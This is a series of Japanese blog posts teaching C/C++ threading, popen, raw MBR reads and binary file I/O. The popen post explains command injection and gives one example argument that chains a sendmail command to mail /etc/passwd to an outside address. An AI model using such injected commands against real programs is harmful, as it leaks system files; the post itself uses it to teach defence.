2012年04月03日

[C++]POSIXスレッド標準(pthread)を使ったマルチスレッドプログラミング

今回はPOSIXスレッド標準(pthread.h)を利用したC++マルチスレッドプログラミング手法を紹介する。

下のサンプルソースは、二つのスレッド間(thread1, thread2)で共通の変数(count)を整合性を保ちながら利用(カウントアップ)する例である。

折角なので wait と signal の処理も盛り込んでみた。waitで待たされたスレッド(thread1)は、もう一つのスレッド(thread2)からのsignalにより待ち状態が解除される。

hoge.c
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // usleepを使うため

/**
* 関数定義
*/
// スレッド関数1
void* threadFunc1(void* param);
// スレッド関数2
void* threadFunc2(void* param);


/**
* グローバル変数
*/
// スレッド間で変数を保護するmutex
pthread_mutex_t mutex;
// スレッド間で状態を判断するcond
pthread_cond_t cond;
// スレッド間で共有してみる変数
int count = 0;


/**
* メイン関数
*/
int main(int argc, char* argv[]) {

// スレッド1識別変数の宣言
pthread_t thread1;
// スレッド2識別変数の宣言
pthread_t thread2;


printf("initializing mutex...\n");

// mutex初期化
pthread_mutex_init(&mutex, NULL);


printf("initializing cond...\n");

// cond初期化
pthread_cond_init(&cond, NULL);


printf("creating thread1...\n");

// スレッド1の生成
pthread_create(&thread1, NULL, threadFunc1, NULL);

printf("creating thread2...\n");

// スレッド2の生成
pthread_create(&thread2, NULL, threadFunc2, NULL);

printf("joining thread1...\n");

// スレッド1の終了待ち
pthread_join(thread1, NULL);

printf("joining thread2...\n");

// スレッド2の終了待ち
pthread_join(thread2, NULL);


printf("destroying mutex...\n");

// mutex破棄
pthread_mutex_destroy(&mutex);

printf("mutex destroyed...\n");

return EXIT_SUCCESS;
}


/**
* スレッド関数1実装:
* signalが来るまでwaitするスレッド。
*/
void* threadFunc1(void* param) {

while (1) {

// mutexロック
pthread_mutex_lock(&mutex);

count++;

printf("thread1: waiting... count=%d\n", count);

// signal待ち
pthread_cond_wait(&cond, &mutex);

printf("thread1: go!\n");

// mutexアンロック
pthread_mutex_unlock(&mutex);

usleep(10000);
}

}

/**
* スレッド関数2実装:
* waitしているスレッドにシグナルを送信するスレッド。
*/
void* threadFunc2(void* param) {

while (1) {

// mutexロック
pthread_mutex_lock(&mutex);

count++;

printf("thread2: sending signal... count=%d\n", count);

/**
* wait中のスレッドに対してsignal送信。
* 複数スレッドへのsignal送信は、pthread_cond_broadcast(&cond)を使う。
*/
pthread_cond_signal(&cond);

// mutexアンロック
pthread_mutex_unlock(&mutex);

usleep(5000);
}
}


これをコンパイルするときは下のように -lpthread を指定する。

$ gcc pthread.c -lpthread


コンパイル出力された a.exe を実行すると、下のような結果が出力される。

$ a
initializing mutex...
initializing cond...
creating thread1...
creating thread2...
joining thread1...
thread1: waiting... count=1
thread2: sending signal... count=2
thread1: go!
thread2: sending signal... count=3
thread1: waiting... count=4
thread2: sending signal... count=5
thread1: go!
thread2: sending signal... count=6
thread1: waiting... count=7
thread2: sending signal... count=8
thread1: go!
thread2: sending signal... count=9
thread1: waiting... count=10
thread2: sending signal... count=11
thread1: go!
thread2: sending signal... count=12
thread1: waiting... count=13
thread2: sending signal... count=14
thread1: go!
thread2: sending signal... count=15
thread1: waiting... count=16
thread2: sending signal... count=17
thread1: go!
thread2: sending signal... count=18
thread1: waiting... count=19
thread2: sending signal... count=20
thread1: go!
thread2: sending signal... count=21
thread1: waiting... count=22
thread2: sending signal... count=23
thread1: go!
thread2: sending signal... count=24
thread1: waiting... count=25
thread2: sending signal... count=26
thread1: go!
thread2: sending signal... count=27
thread1: waiting... count=28
thread2: sending signal... count=29
thread1: go!
thread2: sending signal... count=30
thread1: waiting... count=31
thread2: sending signal... count=32
thread1: go!
thread2: sending signal... count=33
thread1: waiting... count=34
thread2: sending signal... count=35
thread1: go!
thread2: sending signal... count=36
thread1: waiting... count=37
thread2: sending signal... count=38
thread1: go!
thread2: sending signal... count=39
thread1: waiting... count=40
thread2: sending signal... count=41
thread1: go!
thread2: sending signal... count=42
thread2: sending signal... count=43
thread1: waiting... count=44
thread2: sending signal... count=45
thread1: go!


共通変数 count の操作(カウントアップ)が、ロック処理(pthread_mutex_lock)とアンロック処理(pthread_mutex_unlock)の間で実行されているので、二つのスレッド間で整合性が保たれ、正しくカウントアップされているのが分かる。

そして、thread1は、thread2からのGoサイン(pthread_cond_signal)が来るまで pthread_cond_wait で処理を待っているのも分かるはずだ。

signal送信側(thread2)は待機中スレッド(thread1)がwait中だろうが何だろうがシグナルを垂れ流す。上のログで、偶に sending signal... が2回連続して出力されているのはそのためである。

注意すべき点としては、pthread_cond_signal が一つのスレッドに対するsignal送信しか行わないということである。複数スレッドにまとめてsignal送信したい時は、pthread_cond_signal ではなく、 pthread_cond_broadcast を利用すること。


参考にさせていただいたサイト


マルチスレッドプログラミング - onishi-lab.jp


C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 11:33 | Comment(0) | TrackBack(0) | C++

2012年03月29日

[C++]パイプを使ってシェルコマンドの実行結果を取得する方法

C++(というかC言語)プログラム上でシェルを実行し、出力結果をプログラム内で利用するには、popen関数を使うという手がある。この popen 関数はパイプを使うための関数だ。

サンプルソースを見てみよう。

hoge.c
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char* argv[]) {

FILE* fp;
char buf[256];

if (argc <= 1) {
fprintf(stderr, "引数に「コマンド」を入力して下さい!\n");
return EXIT_FAILURE;
}

// コマンドを指定してパイプをオープン
if ((fp = popen(argv[1], "r")) == NULL) {
fprintf(stderr, "パイプのオープンに失敗しました!: argv[1]=%s", argv[1]);
return EXIT_FAILURE;
}

// パイプからのコマンド実行結果を受け取り表示
while (fgets(buf, sizeof(buf), fp) != NULL) {
printf("%s", buf);
}

// パイプをクローズ
pclose(fp);

return EXIT_SUCCESS;
}


とてもシンプルなプログラムなので見ればわかるだろうが、一応軽く流れだけまとめると、

(1)popenでシェルコマンドを与えてパイプを開き
(2)fgetsで実行結果を取得し
(3)最後はpcloseでパイプを閉じる

といった感じである。


popenを使う時の注意点


とても便利な popen 関数だが、その反面、セキュリティ上の穴も作ってしまいがちである。例えば上のサンプルソースのように外部からコマンドを与えるプログラムの場合、厳密に作るならコマンド注入攻撃対策を施す必要がある

上記プログラムだと、例えば、
no-such-file; sendmail bad@example.com </etc/passwd #

のようなコマンドが引数から与えられると、/etc/passwd が他人に盗まれてしまう恐れがあるのだ。

対策方法としては、シェルコマンドで意味を持つ下記の文字列をなるべく全て無効化することである。

! " # $ % & ' ( ) *
+ , - . / : ; < = >
? @ [ \ ] ^ _ ` { |
} ?


特に、

& ( ) ; ` |


には十分に気を付けるべし。
このような危険な文字を単純に "\" でエスケープするのではなく、削除してしまうのが最も安全だ。

もしプログラムからプログラムを起動することが目的なのであれば、popen関数は使わず、exec系関数を利用すべきである。

exec系の関数は、新たなプログラムを起動するためのAPIであり、次のような複数の関数がある。

execl(path, arg..., 0)
execlp(file, arg..., 0)
execle(path, arg..., 0, envp)
execv(path, argv)
execvp(file, argv)
execve(path, argv, envp)
execvP(file, search_path, argv)

これらの関数は、"exec" の後ろにつく英字が次のような意味をもっている。
l 起動するプログラムに与える引数を execXX 関数の引数に直接並べる。引数の並びの最後は0(NULLでもよい)で示す
v 起動するプログラムに与える引数をベクトル argv として与える。引数の並びの最後は argv[n] == 0(NULLでもよい)で示す
p 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、PATH環境変数を用いて起動対象を探索させる
P 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、起動対象の探索パスを文字列 search_path として与える
e 環境変数を現在のプログラムから継承させず、環境変数プール envp を与える

これらのうち使用を推奨するのは、

execle
execve
execvP

の3つである。なぜならば、環境変数 PATH が改ざんされていても影響を受けず、起動するプログラムに与える環境変数を制御できるからである。


参考にさせていただいたサイト


コマンド注入攻撃対策 - IPA

C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 17:39 | Comment(0) | TrackBack(0) | C++

2012年03月27日

[C++]物理ドライブの先頭セクタ(MBR領域)を読み込んでみる

今回はC++(というかC言語)で物理ドライブへアクセスして、先頭セクタ(つまり先頭512バイトのMBR領域)を読み込む方法を紹介したいと思う。ちなみに、今から紹介するのはWindows上でMinGWを動かして試した方法である。

サンプルソースを読む前に、まずは自分の環境の物理ドライブの DeviceID を知っておく必要がある。MinGWのターミナル上で以下のコマンドを叩けば表示される。

$ wmic diskdrive list brief


Windows環境をお使いなら、例えば、\\.\PhysicalDrive0 などと表示されていると思う。これが DevieID、つまり物理ドライブのパスである。プログラムで物理ディスクにアクセスする際は、この DeviceID を利用することになる。

では、サンプルソースを見てみよう。WindowsAPIを使う方法とLinuxシステムコールを使う方法の二種類用意する俺の親切さw

まずはWindowsAPIを使ってMBR領域を読み込み&表示する例からだ。

hoge_win.c
#include <stdio.h>
#include <windows.h> // WinAPI

// PC/AT互換機のセクタ長は512バイト
#define SECTOR 512

int main(){

// 読み込んだサイズ
unsigned long sizeRead;
// セクタデータ格納バッファ
unsigned char buf[SECTOR];

// ハンドル取得
HANDLE h = CreateFile("\\\\.\\PHYSICALDRIVE0", // 物理ドライブパス(DeviceID)
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (h == INVALID_HANDLE_VALUE) {
// ハンドル取得失敗
int errCode = GetLastError();
printf("invalid handle value! ErrorCode:%d\n", errCode);
if (errCode == ERROR_ACCESS_DENIED) {
// 多分、管理者権限で実行されてないよ!
printf("This code means 'Access Denied.'\n");
}
exit(EXIT_FAILURE);
}

// 先頭の1セクタ(つまりMBR領域)を読み込む
ReadFile(h, buf, sizeof(buf), &sizeRead, NULL);

// ハンドルを閉じる
CloseHandle(h);

// バッファの中身を16進数ダンプ表示
int i;
for (i = 0; i < sizeof(buf); i++){
if (i % 16 == 0) {
printf("%04X", i);
}
printf(" %02X", buf[i]);
if (i % 16 == 15){
printf("\n");
}
}

// 続行するには何かキーを押して下さい...
system("PAUSE");

return EXIT_SUCCESS;
}


これをMinGW上でコンパイルし、Windowsで実行すると、MBR領域が16進数でダンプされるはずである。この際、必ず管理者権限で実行すること。そうしなければ正しい情報が表示されないか、もしくはハンドルの取得で失敗する。

管理者権限で実行する方法は、exeファイルのプロパティ→互換性タブ→「管理者としてプログラムを実行する」にチェックすればOKだ。


次にLinux(MinGW/MSYS)のシステムコールを使った例である。個人的にはこちらが好みだ。

hoge_linux.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h> // "O_RDONLY" などの定義
#include <unistd.h> // open, read, write, close

// PC/AT互換機のセクタ長は512バイト
#define SECTOR 512

int main(){

// セクタデータ格納バッファ
unsigned char buf[SECTOR];

// ハンドル取得
int h = open("\\\\.\\PHYSICALDRIVE0", O_RDONLY);

// 最初の1セクタ(つまりMBR領域)を読み込む
read(h, buf, sizeof(buf));

// ハンドルを閉じる
close(h);

// バッファの中身を16進数ダンプ表示
int i;
for (i = 0; i < sizeof(buf); i++){
if (i % 16 == 0) {
printf("%04X", i);
}
printf(" %02X", buf[i]);
if (i % 16 == 15){
printf("\n");
}
}

// 続行するには何かキーを押して下さい...
system("PAUSE");

return EXIT_SUCCESS;
}


これをMinGW上でコンパイルし、Windowsのコマンドプロンプト上で実行すると以下のような出力結果となる。

0000 33 C0 8E D0 BC 00 7C 8E C0 8E D8 BE 00 7C BF 00
0010 06 B9 00 02 FC F3 A4 50 68 1C 06 CB FB B9 04 00
0020 BD BE 07 80 7E 00 00 7C 0B 0F 85 0E 01 83 C5 10
0030 E2 F1 CD 18 88 56 00 55 C6 46 11 05 C6 46 10 00
0040 B4 41 BB AA 55 CD 13 5D 72 0F 81 FB 55 AA 75 09
0050 F7 C1 01 00 74 03 FE 46 10 66 60 80 7E 10 00 74
0060 26 66 68 00 00 00 00 66 FF 76 08 68 00 00 68 00
0070 7C 68 01 00 68 10 00 B4 42 8A 56 00 8B F4 CD 13
0080 9F 83 C4 10 9E EB 14 B8 01 02 BB 00 7C 8A 56 00
0090 8A 76 01 8A 4E 02 8A 6E 03 CD 13 66 61 73 1C FE
00A0 4E 11 75 0C 80 7E 00 80 0F 84 8A 00 B2 80 EB 84
00B0 55 32 E4 8A 56 00 CD 13 5D EB 9E 81 3E FE 7D 55
00C0 AA 75 6E FF 76 00 E8 8D 00 75 17 FA B0 D1 E6 64
00D0 E8 83 00 B0 DF E6 60 E8 7C 00 B0 FF E6 64 E8 75
00E0 00 FB B8 00 BB CD 1A 66 23 C0 75 3B 66 81 FB 54
00F0 43 50 41 75 32 81 F9 02 01 72 2C 66 68 07 BB 00
0100 00 66 68 00 02 00 00 66 68 08 00 00 00 66 53 66
0110 53 66 55 66 68 00 00 00 00 66 68 00 7C 00 00 66
0120 61 68 00 00 07 CD 1A 5A 32 F6 EA 00 7C 00 00 CD
0130 18 A0 B7 07 EB 08 A0 B6 07 EB 03 A0 B5 07 32 E4
0140 05 00 07 8B F0 AC 3C 00 74 09 BB 07 00 B4 0E CD
0150 10 EB F2 F4 EB FD 2B C9 E4 64 EB 00 24 02 E0 F8
0160 24 02 C3 49 6E 76 61 6C 69 64 20 70 61 72 74 69
0170 74 69 6F 6E 20 74 61 62 6C 65 00 45 72 72 6F 72
0180 20 6C 6F 61 64 69 6E 67 20 6F 70 65 72 61 74 69
0190 6E 67 20 73 79 73 74 65 6D 00 4D 69 73 73 69 6E
01A0 67 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74
01B0 65 6D 00 00 00 63 7B 9A 3D 91 C5 E0 00 00 00 01
01C0 01 00 1C FE FF FF 3F 00 00 00 37 16 71 02 80 FE
01D0 FF FF 07 FE FF FF 76 16 71 02 08 A4 50 09 00 FE
01E0 FF FF 0F FE FF FF 00 C0 C1 0B 00 20 81 19 00 00
01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA
続行するには何かキーを押してください . . .


最後の2バイトがMBRブートシグニチャ("55 AA" = 0xAA55)を示していればMBR領域の読み込み成功とみてよいだろう。

禁断のMBRへの書込みを行いたい場合は、write関数を使えばできるのだが、MBRを下手にいじくるとOSが起動しなくなる恐れがある。それでもやってみたい人は十分に注意の上、自己責任でやってみてほしい。

関連エントリ


MinGW/MSYS+gccでGUIアプリ開発環境を構築
http://sunabako.sblo.jp/article/54560054.html

参考にさせていただいたサイト


MinGWでMBR読み出し
物理ディスク等のデバイスに直接アクセスする (Windows NT系OS)
マスターブートレコード(wikipedia)

C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 19:40 | Comment(0) | TrackBack(0) | C++

2012年03月26日

[C++]fwriteでバイナリデータを書き込んだり、挿入したり。

前回はC言語(C++)でバイナリデータを読み込む方法を紹介したが、今回はバイナリデータの書き込む方法と、プラスアルファとしてデータを挿入するテクニックを紹介したいと思う。

まずは以下のサンプルソースを見て欲しい。

fwrite.c
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE* fp;
size_t num;
char* fname = "./fwrite.dat";

// ==================================
// ■データ書込み
// ファイルに "apple\0" と書き込み、
// その後、"Apple\0" と書き換え
// ==================================

// バイナリ書込モードでファイルオープン
if ((fp = fopen(fname, "wb")) == NULL) {
fprintf(stderr, "file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}

// "apple\0" と書き込み
char d1[6] = "apple\0";
num = fwrite(&d1, sizeof(d1), 1, fp);

/*
この時点で
fwrite.dat の内容は、"apple\0"
*/

// 先頭(0byte目)にカーソル移動
fseek(fp, 0, SEEK_SET);
// "a" を "A" に書き換え、"Apple\0" に
char d2 = 'A';
num = fwrite(&d2, sizeof(d2), 1, fp);

/*
この時点で
fwrite.dat の内容は、"Apple\0"
*/

// ファイルクローズ
fclose(fp);


// ==================================
// ■データ挿入
// "Apple\0" の5byte目の直後へ
// "t!" を挿入し、"Applet!\0" に。
// 編集結果は別ファイルへ出力する。
// ==================================

// 出力ファイル名
char* output = "./output.dat";

// 読込用ファイルポインタ
FILE* fpr;
// 書込用ファイルポインタ
FILE* fpw;

// バイナリ読込モードでファイルオープン
if ((fpr = fopen(fname, "rb")) == NULL) {
fprintf(stderr, "read file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}
// バイナリ書込モードでファイルオープン
if ((fpw = fopen(output, "wb")) == NULL) {
fprintf(stderr, "write file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}

// 作業用変数
char tmp;
// 挿入したい文字列
char ins[2] = "t!";

while (1) {
// 読込カーソルが挿入ポイント(5byte目)に来た場合
if (ftell(fpr) == 5) {
// 挿入したい文字列を書込み
fwrite(&ins, sizeof(ins), 1, fpw);
}
// 1byte読込み
if (fread(&tmp, sizeof(tmp), 1, fpr) == 0) {
break;
}
// 1byte書込み
fwrite(&tmp, sizeof(tmp), 1, fpw);
}

/*
この時点で
fwrite.dat の内容は、"Apple\0"
output.dat の内容は、"Applet!\0"
*/

// 読込用ファイルクローズ
fclose(fpr);
// 書込用ファイルクローズ
fclose(fpw);

return EXIT_SUCCESS;
}


"wb"モード(バイナリ書込モード)でファイルを開き、stdio.h の fwrite関数を使ってデータを書き込むというのが基本パターンである。

size_t fwrite(const void* ポインタ, 
size_t 1アイテムのサイズ,
size_t アイテム数,
FILE* ファイルポインタ)


戻り値 size_t は書き込んだアイテム数だ。

すでに書きこまれたデータを途中で変更したい場合は、変更したいアイテムまでカーソルを移動させてfwriteすればよい。

が、ここで一つ注意が必要である。fwriteはデータを「挿入」してくれるわけではないということだ。あくまでも「上書き」なのである。

データ挿入は意外と面倒臭い



例えば上のサンプルソースのように、"Apple\0" というデータに "t!" という文字を挿入して "Applet!\0" に変更したい場合、6バイト目の先頭、つまり "e" の後ろへカーソルを移動させて "t!" を fwrite すればいいのではないかと初心者は直感的に感じてしまうようだが、実際はそれでは期待通りの結果にはならない。何も考えずに "t!" を指定のカーソル位置へ fwrite すると、できあがるデータは "Applet!" であって、期待している "Applet!\0" にはならないということだ。

期待通りの結果を得るためには、少々面倒だが、上記サンプルソースの後半処理のように、(1)読込用ファイルポインタfprと書込用ファイルポインタfpwを二つ用意しておいて、(2)fprから1byte読み込む度にfpwに1byte書き込み、(3)挿入したい地点にカーソルが来た時に、挿入したい文字列 "t!" をfpwに書き込むという条件文を入れる必要があるのだ。

fwrite関数の説明にしてはちょっと横道に逸れてしまった感が否めないが、「データ挿入」処理というのはプログラマが必ず一度は突き当たる壁だと思っているので、ここで敢えて紹介しておいた。

もっとスマートなロジックをご存知の方はコメ欄でツッコミをよろしく。


C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 18:09 | Comment(0) | TrackBack(0) | C++

2012年03月25日

[C++]freadでバイナリデータを読み込む

今回はC++でバイナリデータを読み込む方法を紹介しよう。

バイナリデータの扱いは、プログラミングにおいて基本中の基本でありながらも最も重要な処理ともいえるのでしっかり理解しておきたいところだ。

まずはバイナリエディタを使って以下のようなサンプルデータを作成する。

binfile.dat
FF 00 00 FF FF 61 62 63 00 E3 81 82 E3 81 84 
E3 81 86 00 FF


上記ファイルのファイルレイアウトは以下の通りだ。

FF unsigned char(1byte) = 0xff = 255
00 00 FF FF long(4byte) = 0xffff0000 = -65536
61 62 63 00 char(4byte) = 0x61 0x62 0x63 0x00 = 'abc\0'
E3 81 82 E3 81 84 E3 81 86 00 char(10byte) = 0xe38182 0xe38184 0xe38186 0x00 = u'あいう\0'
FF unsigned char(1byte) = 0xff = 255


リトルインディアンなマシン(Intelプロセッサ)を前提にしているため、第二項目の「0000FFFF」は 0xffff0000 として扱われていることに注意が必要である。

C言語やC++でバイナリデータを読み込むには、stdio.h のfread関数を利用する。

size_t fread(const void* ポインタ, 
size_t 1アイテムのサイズ,
size_t アイテム数,
FILE* ファイルポインタ)


1アイテムのサイズ*アイテム数のバイト数分のデータを第一引数のポインタへ読み込む。戻り値はアイテム数である。アイテムが無かった場合は 0 が返る。

以下はプログラミング例だ。
先ほど作ったサンプルデータを読み込んで表示するだけの単純なプログラムである。

binfile.c
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE* fp;
size_t num;
char* fname = "./binfile.dat";

/* =============== */
/* データ構造 */
/* =============== */
/* 第1項目: unsigned char 1byte */
unsigned char d1;
/* 第2項目: long 4byte */
long d2;
/* 第3項目: char 4byte */
char d3[4];
/* 第4項目: char 10byte (UTF-8) */
char d4[10];
/* 第5項目: unsigned char 1byte */
unsigned char d5;

/* ファイルのオープン */
if ((fp = fopen(fname, "rb")) == NULL) {
fprintf(stderr, "file open failed! : %s\n", fname);
exit(EXIT_FAILURE);
}

/* バイナリデータ読込 */
// 第1項目 0xff = 255
num = fread(&d1, sizeof(d1), 1, fp);
printf("d1:%d\n", d1, num);
// 第2項目 0xffff0000 = -65536
num = fread(&d2, sizeof(d2), 1, fp);
printf("d2:%d\n", d2, num);
// 第3項目 0x61 0x62 0x63 0x00 = 'abc\0'
num = fread(&d3, sizeof(d3), 1, fp);
printf("d3:%s\n", d3, num);
// 第4項目 0xe38182 0xe38184 0xe38186 0x00 = u'あいう\0'
num = fread(&d4, sizeof(d4), 1, fp);
printf("d4:%s\n", d4, num);
// 第5項目 0xff = 255
num = fread(&d5, sizeof(d5), 1, fp);
printf("d5:%d\n", d5, num);

/* ファイルのクローズ */
fclose(fp);

return EXIT_SUCCESS;
}


$ gcc binfile.c -o binfile.exe
$ binfile.exe


これをコンパイルし、実行してみると、、、

d1:255
d2:-65536
d3:abc
d4:あいう
d5:255


このように表示される。

さて、次回はバイナリデータの書き込みについて紹介したいと思う。


C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 14:55 | Comment(0) | TrackBack(0) | C++